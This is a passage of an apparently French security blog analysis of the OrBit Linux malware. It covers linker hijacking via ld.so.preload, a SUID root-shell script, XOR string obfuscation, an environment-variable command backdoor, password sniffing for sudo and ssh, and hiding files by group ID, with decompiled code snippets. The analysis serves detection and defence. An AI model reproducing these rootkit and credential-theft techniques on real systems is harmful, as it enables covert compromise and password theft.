=\u00a0\"\/lib\/libntpVnQE6mk\/libdl.so\";\r\n}\r\nreturn\u00a0(load_ld(lib_path));<\/pre>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]On peut noter un cas non g\u00e9r\u00e9, r\u00e9sum\u00e9 par le sch\u00e9ma ci-dessous :[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_single_image image=\"350863\" img_size=\"large\" alignment=\"center\" qode_css_animation=\"\"][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h3>Suppression<\/h3>\n<p>Pour supprimer le linker corrompu, le programme prend en charge l'argument\u00a0<strong><em>shred<\/em><\/strong>\u00a0qui provoque un appel \u00e0 la fonction\u00a0<strong><code>unload_ld<\/code><\/strong>.<\/p>\n<p>Dans cette fonction, le fichier <em><code>\/lib\/libntpVnQE6mk\/.l<\/code><\/em> est supprim\u00e9 et la sauvegarde du linker original remplace le linker modifi\u00e9 \u00e0 l'emplacement point\u00e9 par le lien symbolique <em><code>\/lib64\/ld-linux-x86-64.so.2<\/code><\/em>.<\/p>\n<p>&nbsp;<\/p>\n<h2>Pr\u00e9cisions sur le script d'\u00e9l\u00e9vation de privil\u00e8ges d\u2019OrBit<\/h2>\n<p>Le fichier escalator poss\u00e8de un le SUID bit de l'utilisateur root, en th\u00e9orie l'ex\u00e9cution de la fonction<em><strong> <code>execv<\/code><\/strong><\/em>\u00a0devrait donc ouvrir un shell bash avec les droits root (0:0).<\/p>\n<p>Il est cependant n\u00e9cessaire d'ajouter la fonction <strong><code>setreuid<\/code><\/strong>\u00a0avant <strong><code>execv<\/code><\/strong>.[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre><strong>escalator<\/strong>\r\nimport os\r\nos.setreuid(0, 0)\r\nos.execv(\"\/bin\/bash\", (\"\/bin\/bash\", \"-i\"))<\/pre>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]Pour comprendre pourquoi, il faut d\u2019abord parler des identifiants. Dans un syst\u00e8me Linux, chaque utilisateur poss\u00e8de un identifiant, ces derniers sont visibles dans le fichier <code><em>\/etc\/passwd<\/em><\/code>. Cet identifiant est l\u2019ID r\u00e9el (<strong>euid<\/strong>). Il existe aussi un ID effectif qui a la m\u00eame valeur que l\u2019ID r\u00e9el la majorit\u00e9 du temps.<\/p>\n<p>Lors de l'ex\u00e9cution d\u2019un programme avec le\u00a0<strong>bit SUID<\/strong>\u00a0positionn\u00e9, un utilisateur verra seulement son ID effectif modifi\u00e9 pour prendre la valeur de celui du propri\u00e9taire du fichier, ce qui signifie que l\u2019ID r\u00e9el reste le m\u00eame.<\/p>\n<p>Mais lorsqu\u2019un shell est lanc\u00e9, si l\u2019ID effectif est diff\u00e9rent de l\u2019ID r\u00e9el alors le shell prend l\u2019ID r\u00e9el en r\u00e9f\u00e9rence et supprime les privil\u00e8ges accord\u00e9s par le\u00a0<strong>SUID bit<\/strong>.<\/p>\n<p>Ainsi, dans le cas du script python, l\u2019utilisateur ne serait pas root une fois\u00a0<strong><em>\/bin\/bash<\/em><\/strong> lanc\u00e9. Pour rem\u00e9dier \u00e0 ce probl\u00e8me, la fonction \u00a0<code><strong>setreuid<\/strong><\/code>\u00a0est appel\u00e9e avant l\u2019ex\u00e9cution de la commande. Cette fonction permet de changer directement l\u2019ID r\u00e9el si l\u2019ID effectif le permet. De cette mani\u00e8re,\u00a0<strong><em>\/bin\/bash<\/em><\/strong>\u00a0est lanc\u00e9 avec un ID r\u00e9el et un ID effectif de 0 (root).[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_single_image image=\"350868\" img_size=\"large\" alignment=\"center\" qode_css_animation=\"\"][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h2>Pr\u00e9cisions sur le linker dynamique d\u2019OrBit<\/h2>\n<p>Un binaire sous Linux peut \u00eatre compil\u00e9 de mani\u00e8re statique ou dynamique.<\/p>\n<p>En statique, le programme contient toutes les librairies n\u00e9cessaires \u00e0 son bon fonctionnement et peut \u00eatre ex\u00e9cut\u00e9 directement.<\/p>\n<p>En dynamique, les d\u00e9pendances ne sont pas ajout\u00e9es au binaire mais stock\u00e9es sous formes de symboles.<\/p>\n<p>Lors de son ex\u00e9cution, le linker dynamique cherche les symboles dans une liste de librairies partag\u00e9es et charge en m\u00e9moire les librairies n\u00e9cessaires. Pour terminer, le linker dynamique fais correspondre les symboles du programme avec les fonctions soit avant l'ex\u00e9cution du programme, soit lorsqu'une fonction est appel\u00e9e.<\/p>\n<p>L'ordre dans lequel les librairies sont charg\u00e9es en m\u00e9moire est pr\u00e9d\u00e9fini mais il est possible de charger des librairies en priorit\u00e9 :<\/p>\n<ul>\n<li>Via la variable d'environnement <strong><code>LD_PRELOAD<\/code><\/strong><\/li>\n<li>Via le fichier <code><em>\/etc\/ld.so.preload<\/em><\/code><\/li>\n<\/ul>\n<p>Ce dernier n'est cens\u00e9 exister qu'\u00e0 des fins de tests et est donc absent par d\u00e9faut sur un syst\u00e8me en production. On retrouve dans le code source la d\u00e9finition de la cha\u00eene de caract\u00e8res utilis\u00e9e pour ouvrir ce fichier.[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre><strong>Code source du binaire ld.so<\/strong>\r\n1869 \/* There usually is no ld.so.preload file, it should only be used\r\n1870 for emergencies and testing. So the open call etc should usually\r\n1871 fail. Using access() on a non-existing file is faster than using\r\n1872 open(). So we do this first. If it succeeds we do almost twice\r\n1873 the work but this does not matter, since it is not for production\r\n1874 use. *\/\r\n1875 static const <strong>char<\/strong> preload_file[] = \"\/etc\/ld.so.preload\";<\/pre>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]Comme la variable est d\u00e9clar\u00e9e constante, sa valeur se retrouve dans le binaire compil\u00e9, dans la section <strong><code>.rodata<\/code><\/strong>\u00a0:[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_single_image image=\"350873\" img_size=\"large\" alignment=\"center\" qode_css_animation=\"\"][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]Lors de l'ex\u00e9cution du linker, le programme r\u00e9cup\u00e8re la valeur situ\u00e9e \u00e0 l'emplacement de cette cha\u00eene.<\/p>\n<p>Si l'on modifie cette cha\u00eene, la nouvelle valeur sera utilis\u00e9e par le binaire lors de l'initialisation de la variable <strong><code>preload_file<\/code><\/strong>\u00a0l'emplacement reste le m\u00eame.<\/p>\n<p>Ainsi, le malware peut ins\u00e9rer une cha\u00eene de caract\u00e8res repr\u00e9sentant le chemin vers un fichier contenant sa propre liste de librairies partag\u00e9es.[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h2>Librairie d\u2019OrBit<\/h2>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\"][vc_column][vc_empty_space]<div class=\"qode-advanced-pricing-table\">\n\t<div class=\"qode-apt-header qode-apt-row\">\n\t\t<div class=\"qode-apt-title-holder\">\n\t\t\t<h5 class=\"qode-apt-title\">\n\t\t\t\t\t\t\t<\/h5>\n\t\t<\/div>\n\t\t<div class=\"qode-apt-column-title-holder\">\n\t\t\t<h5 class=\"qode-apt-title\">\n\t\t\t\t\t\t\t<\/h5>\n\t\t<\/div>\n\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tFichier\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$ELF\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tArchitecture\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$x86-64\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tObfuscation\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$XOR sur des chaines de caract\u00e8res\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tInformations de debug\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$Pr\u00e9sentes\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tPrivil\u00e8ges requis\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$Aucun\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tSHA-256\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<div class=\"qode-apt-items qode-apt-row\">\n\t\t\t<div class=\"qode-apt-item-title\">\n\t\t\t\tMD5\t\t\t<\/div>\n\t\t\t<div class=\"qode-apt-item-price\">\n\t\t\t\t$ac89d638cb6912b58de47ac2a274b2fb\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t<\/div>[vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]La librairie a plusieurs objectifs. Elle permet au malware de rester discret en modifiant les captures r\u00e9seau et en emp\u00eachant les utilisateurs de manipuler les fichiers malveillants. Et elle permet aussi de capturer des mots de passe et d\u2019autoriser les connexions en SSH avec un nom d\u2019utilisateur et un mot de passe pr\u00e9d\u00e9fini pour contourner l\u2019authentification.<\/p>\n<h3>Modification des interfaces d\u2019appels syst\u00e8mes<\/h3>\n<p>Au lieu d\u2019appeler directement les fonctions servant d\u2019interface pour les appels syst\u00e8me (<strong><code>write<\/code><\/strong>,\u00a0<strong><code>open<\/code><\/strong>,\u00a0<strong><code>stat<\/code>,<\/strong> etc.), la librairie utilise directement <code><strong>syscall<\/strong><\/code>\u00a0, qui prend en param\u00e8tre le num\u00e9ro de l\u2019appel syst\u00e8me souhait\u00e9 suivi des arguments habituellement envoy\u00e9s.<\/p>\n<p>Cette m\u00e9thode est utilis\u00e9e car la librairie d\u00e9finit elle-m\u00eame ses propres interfaces ayant des effets malveillants pour certains appels syst\u00e8mes et ne peut donc pas les utiliser pour obtenir un comportement standard.[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_single_image image=\"350878\" img_size=\"large\" alignment=\"center\" qode_css_animation=\"\"][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h3>Obfuscation<\/h3>\n<p>La libraire contient des cha\u00eenes de caract\u00e8res obscurcies avec un chiffrement\u00a0<strong>XOR<\/strong>\u00a0au sein de la section\u00a0data.<\/p>\n<p>Le d\u00e9chiffrement est effectu\u00e9 \u00e0 la vol\u00e9e avec une cl\u00e9 mesurant un octet et ayant pour valeur <strong><code>0xA2<\/code><\/strong> (162).[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre><strong>xor cypher<\/strong>\u00a0\r\nfor (i = 0; i &lt; len_string; ++i)\r\n \u00a0\u00a0\u00a0string[i] = obfuscated_string[i] ^ 0xA2;\r\nstring[i] = 0;<\/pre>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h3>Constructeur<\/h3>\n<p>Dans un code compil\u00e9 avec\u00a0<strong><em>GCC<\/em><\/strong>, il est possible d\u2019ajouter des attributs aux fonctions, ces attributs permettent de modifier la compilation afin de changer le comportement du programme lors de son ex\u00e9cution.<\/p>\n<p>Parmi eux, on retrouve le constructeur et le destructeur, permettant respectivement d'ex\u00e9cuter du code avant et apr\u00e8s la fonction <code><strong>main<\/strong><\/code>\u00a0d'un programme.[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_single_image image=\"350883\" img_size=\"large\" alignment=\"center\" qode_css_animation=\"\"][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h4>_do_global_ctors_aux<\/h4>\n<p>On retrouve dans la librairie une fonction <strong><code>_do_global_ctors_aux<\/code><\/strong>, c\u2019est ici que les fonctions avec l\u2019attribut\u00a0<strong><code>constructor<\/code><\/strong>\u00a0sont appel\u00e9es.<\/p>\n<p>Le programme r\u00e9cup\u00e8re le tableau\u00a0<strong><code>fct_ptr<\/code><\/strong>,cr\u00e9\u00e9 par le compilateur et qui contient les adresses des fonctions \u00e0 ex\u00e9cuter.<\/p>\n<p>Si ce tableau n'est pas vide, une boucle parcourt chacune des entr\u00e9es pour appeler les fonctions.[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre><strong>_do_global_ctors_aux()<\/strong> \r\nfct = array_fct_constructor;\r\nif (array_fct_constructor != -1) {\r\n \u00a0\u00a0\u00a0fct_iterator = &amp;array_fct_constructor;\r\n \u00a0\u00a0\u00a0do\u00a0{\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0--fct_iterator;\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fct();\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fct = *fct_iterator;\r\n \u00a0\u00a0\u00a0}\u00a0while\u00a0(fct_iterator != -1);\r\n}\r\nreturn\u00a0(fct);<\/pre>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_empty_space][vc_column_text]<\/p>\n<h4>__libc_sym_init<\/h4>\n<p>Cette fonction poss\u00e9dant l'attribut <code><strong>constructor<\/strong><\/code>\u00a0est divis\u00e9e en partie. La premi\u00e8re\u00a0ex\u00e9cute une commande de l\u2019utilisateur via une variable d\u2019environnement tandis que la deuxi\u00e8me ex\u00e9cute un fichier pr\u00e9d\u00e9fini.<\/p>\n<p>Si la variable d'environnement\u00a0<strong><em>HTTP_X_MAGICAL_PONIES<\/em><\/strong>\u00a0est pr\u00e9sente lors de l'ex\u00e9cution d'un programme, sa valeur sera ex\u00e9cut\u00e9e comme une ligne de commande avant la suppression de la variable.[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre><strong>__libc_sym_init() - Ex\u00e9cution de commande<\/strong> \r\nif\u00a0(<strong>getenv<\/strong>(\"HTTP_X_MAGICAL_PONIES\")) {\r\n\u00a0\u00a0\u00a0\u00a0command =\u00a0<strong>getenv<\/strong>(\"HTTP_X_MAGICAL_PONIES\");\r\n \u00a0\u00a0\u00a0unsetenv(\"HTTP_XMAGICAL_PONIES\");\r\n\u00a0\u00a0\u00a0\u00a0<strong>system<\/strong>(command);\r\n}<\/pre>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]Dans un deuxi\u00e8me temps, si le nom du programme contient\u00a0<strong><em>cron<\/em><\/strong>, le fichier <em><code>\/dev\/shm\/.lck<\/code><\/em><em>\u00a0<\/em>est cr\u00e9\u00e9 et son ID de groupe propri\u00e9taire est mis \u00e0\u00a0920366,\u00a0puis le fichier est ferm\u00e9.<\/p>\n<p>Un nouveau processus est cr\u00e9\u00e9 pour ex\u00e9cuter le fichier <code><em>.boot.sh<\/em><\/code>,\u00a0un identifiant de groupe\u00a0<strong>920366<\/strong>\u00a0lui est attribu\u00e9 pour obtenir les permissions maximales.[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre><strong>__libc_sym_init() - Execution du fichier .boot.sh<\/strong> \r\nv0 =\u00a0<strong>strstr<\/strong>(_progname, \"cron\");\r\nif (v0) {\r\n \u00a0\u00a0\u00a0v0 = syscall(2,\u00a0\"\/dev\/shm\/.lck\", 192, 420);\u00a0\/\/ open()\r\n \u00a0\u00a0\u00a0fd = v0;\r\n \u00a0\u00a0\u00a0if\u00a0(v0 &gt;= 0) {\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0syscall(93, fd, 0, 920366);\u00a0\/\/ chown()\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0sycall(3, fd); \/\/ close()\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0v0 = fork();\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if\u00a0(!v0) {\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0syscall(106, 920366);\u00a0\/\/ setgid()\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0len_string = 27;\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0for\u00a0(i = 0; i &lt; len_string; ++i)\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0string[i] = obfuscated_string[i] ^ 0xA2;\u00a0\/\/ \/lib\/libntpVnQE6mk\/.boot.sh\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0string[i] = 0;\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0stream = popen(string,\u00a0\"r\");\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0pclose(stream);\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<strong>exit<\/strong>(0);\r\n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}\r\n \u00a0\u00a0\u00a0}\r\n}<\/pre>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]Le fichier <code><em>.boot.sh<\/em><\/code>\u00a0est laiss\u00e9 vide lors de sa cr\u00e9ation par le dropper mais on peut facilement imaginer qu\u2019un attaquant qui serait connect\u00e9 en\u00a0<strong>SSH<\/strong>\u00a0pourrait ajouter des commandes pour exfiltrer les donn\u00e9es collect\u00e9es.<\/p>\n<p>En passant par un fichier plut\u00f4t que par le service\u00a0<strong><em>cron<\/em><\/strong>, le malware reste discret et \u00e9vite de se faire rep\u00e9rer avec la commande\u00a0<strong><em>crontab -l<\/em><\/strong>\u00a0qui permet de lister les diff\u00e9rentes t\u00e2ches. En contrepartie, l\u2019attaquant ne contr\u00f4le pas la r\u00e9currence d\u2019ex\u00e9cution de son script.<\/p>\n<h3>Capture de mot de passe<\/h3>\n<p>Afin de r\u00e9cup\u00e9rer les mots de passe entr\u00e9s par un utilisateur, les fonctions <strong><code>write<\/code><\/strong> et <strong><code>read<\/code><\/strong> sont modifi\u00e9es et utilis\u00e9es de mani\u00e8re compl\u00e9mentaire avec les variables globales <strong><code>sshpass<\/code><\/strong> et <strong><code>sniff_ssh_session<\/code><\/strong>.<\/p>\n<p>Les programme\u00a0<strong><em>sudo<\/em><\/strong>\u00a0et\u00a0<strong><em>ssh<\/em><\/strong>\u00a0ont pour point commun d'afficher une phrase comme\u00a0<strong><em>[sudo] pass<\/em><\/strong>\u00a0ou\u00a0<strong><em>'s password<\/em><\/strong> pour indiquer \u00e0 l'utilisateur de rentrer son mot de passe, ce qui implique que les prochains appels \u00e0 <strong><code>read<\/code><\/strong> seront utilis\u00e9s pour r\u00e9cup\u00e9rer le mot de passe.<\/p>\n<p>Si l'une de ces cha\u00eenes est d\u00e9tect\u00e9e dans la fonction <strong><code>write<\/code><\/strong> , la <strong><code>sshpass<\/code><\/strong> prend la valeur\u00a0<strong>1<\/strong>. Avec cette valeur, la fonction <strong><code>read<\/code><\/strong>sauvegarde chaque entr\u00e9e dans le fichier <code><em>sshpass2.txt<\/em><\/code><strong>\u00a0<\/strong>jusqu'\u00e0 lire un retour \u00e0 la ligne (<strong>\\n<\/strong>) et remettre <strong><code>sshpass<\/code><\/strong> \u00e0\u00a0<strong>0<\/strong>.<\/p>\n<p>Ce m\u00e9canisme permet donc d'enregistrer uniquement les mots de passe utilisateurs sans avoir \u00e0 sauvegarder chaque entr\u00e9e.<\/p>\n<p>Une fois le mot de passe entr\u00e9e, la fonction <strong><code>read<\/code><\/strong> v\u00e9rifie l'existence du fichier <code><em>.sniff<\/em><\/code>. Si ce dernier est pr\u00e9sent sur le syst\u00e8me, <strong><code>sniff_ssh_session<\/code><\/strong>\u00a0prend la valeur\u00a0<strong>1<\/strong>. Cette variable est utilis\u00e9e dans <strong><code>write<\/code><\/strong> , une valeur de\u00a0<strong>1<\/strong> permettant la sauvegarde de tout le contenu de la session ssh dans le fichier <code><em>sniff.txt<\/em><\/code><em>.<\/em>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_single_image image=\"350888\" img_size=\"large\" alignment=\"center\" qode_css_animation=\"\"][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h3>Dissimulation dans le syst\u00e8me de fichiers<\/h3>\n<p>Pour \u00e9viter que les fichiers relatifs au malware puissent \u00eatre list\u00e9s, lus, \u00e9crits ou supprim\u00e9s par un utilisateur lambda, la librairie red\u00e9finit l\u2019appel syst\u00e8me\u00a0<strong><code>stat<\/code><\/strong>\u00a0qui permet d\u2019obtenir des informations sur un fichier ou un r\u00e9pertoire.<\/p>\n<p>Ainsi, la librairie peut r\u00e9cup\u00e9rer l\u2019identifiant du groupe propri\u00e9taire d\u2019un fichier dans des fonctions comme\u00a0<strong><code>open<\/code><\/strong>,\u00a0<strong><code>readdir<\/code><\/strong>\u00a0ou\u00a0<strong><code>opendir<\/code><\/strong>.<\/p>\n<p>Si cet identifiant de groupe vaut\u00a0<strong>920366<\/strong>\u00a0et que l\u2019utilisateur ne poss\u00e8de pas cet ID, la librairie refuse l\u2019acc\u00e8s et le fichier ou r\u00e9pertoire ne peut \u00eatre ni ouvert ni lu.[\/vc_column_text][vc_empty_space][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\" z_index=\"\" background_color=\"#ececec\" side_padding=\"10\" padding_top=\"30\" padding_bottom=\"30\"][vc_column][vc_column_text]<\/p>\n<pre><strong>V\u00e9rification de l'identifiant de groupe<\/strong>\r\nis_malicious = syscall(4, path, &amp;info_file) &gt;= 0 &amp;&amp; info_file.st_gid == 920366; \/\/ stat()\r\nif (is_malicious &amp;&amp; syscall(104) != 920366) { \/\/ getgid()\r\n \u00a0\u00a0 return (-1);\r\n}<\/pre>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row css_animation=\"\" row_type=\"row\" use_row_as_full_screen_section=\"no\" type=\"full_width\" angled_section=\"no\" text_align=\"left\" background_image_as_pattern=\"without_pattern\"][vc_column][vc_column_text]<\/p>\n<h4>Fonction open<\/h4>\n<p>Cette fonction a pour unique but de rendre le malware le moins d\u00e9tectable possible.<\/p>\n<p>Le\u00a0<strong><code>procfs<\/code><\/strong>\u00a0est un syst\u00e8me de fichiers qui permet d\u2019obtenir des informations concernant les processus en cours, plusieurs fichiers qui permettent de d\u00e9tecter le malware s'y trouvent.<\/p>\n<ul>\n<li><em><code>\/proc\/net\/tcp<\/code>\u00a0<\/em>qui contient la liste des connexions TCP actives<\/li>\n<li><code><em>\/proc\/*\/maps<\/em><\/code>, <em><code>\/proc\/*\/smaps<\/code> <\/em>et <code><em>\/proc\/*\/numa_maps<\/em><\/code> qui contiennent des informations sur la repr\u00e9sentation de la m\u00e9moire d\u2019un processus.<\/li>\n<\/ul>\n<p>Parmi ces informations figurent entre autres le nom et l\u2019adresse des diff\u00e9rents segments d\u2019un programme, les librairies dynamiques utilis\u00e9es sont donc pr\u00e9sentes.<\/p>\n<p>Si l'un de ces fichiers est pass\u00e9 en param\u00e8tre de la 